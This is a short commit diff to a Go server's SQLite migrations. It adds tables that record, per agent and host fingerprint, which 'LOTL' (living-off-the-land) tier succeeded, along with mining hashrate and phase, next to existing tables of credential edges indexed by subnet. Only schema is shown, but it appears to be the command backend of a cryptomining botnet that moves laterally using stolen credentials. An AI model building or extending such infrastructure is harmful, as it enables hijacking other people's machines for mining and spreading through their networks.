Add fleet adaptive strategy engine for proactive LOTL tier ordering

server/internal/db/sqlite.go

@@ -195,6 +195,25 @@ func (d *Database) migrate() error {
 		`CREATE INDEX IF NOT EXISTS idx_cred_edges_subnet ON cred_edges(subnet)`,
 		`CREATE INDEX IF NOT EXISTS idx_cred_edges_profile ON cred_edges(credential_profile_id)`,
 		`CREATE INDEX IF NOT EXISTS idx_cred_edges_created ON cred_edges(created_at)`,
+		`CREATE TABLE IF NOT EXISTS tier_outcomes (
+			id INTEGER PRIMARY KEY AUTOINCREMENT,
+			agent_id TEXT NOT NULL,
+			fingerprint_key TEXT NOT NULL,
+			tier TEXT NOT NULL,
+			ok INTEGER NOT NULL DEFAULT 0,
+			hashrate REAL NOT NULL DEFAULT 0,
+			phase TEXT NOT NULL DEFAULT 'mining',
+			created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
+		)`,
+		`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_fingerprint ON tier_outcomes(fingerprint_key)`,
+		`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_tier ON tier_outcomes(tier)`,
+		`CREATE INDEX IF NOT EXISTS idx_tier_outcomes_created ON tier_outcomes(created_at)`,
+		`CREATE TABLE IF NOT EXISTS agent_strategy_cache (
+			agent_id TEXT PRIMARY KEY,
+			fingerprint_key TEXT NOT NULL,
+			strategy_json TEXT NOT NULL,
+			updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
+		)`,
 	}
 	for _, m := range extraMigrations {
 		if _, err := d.Exec(m); err != nil {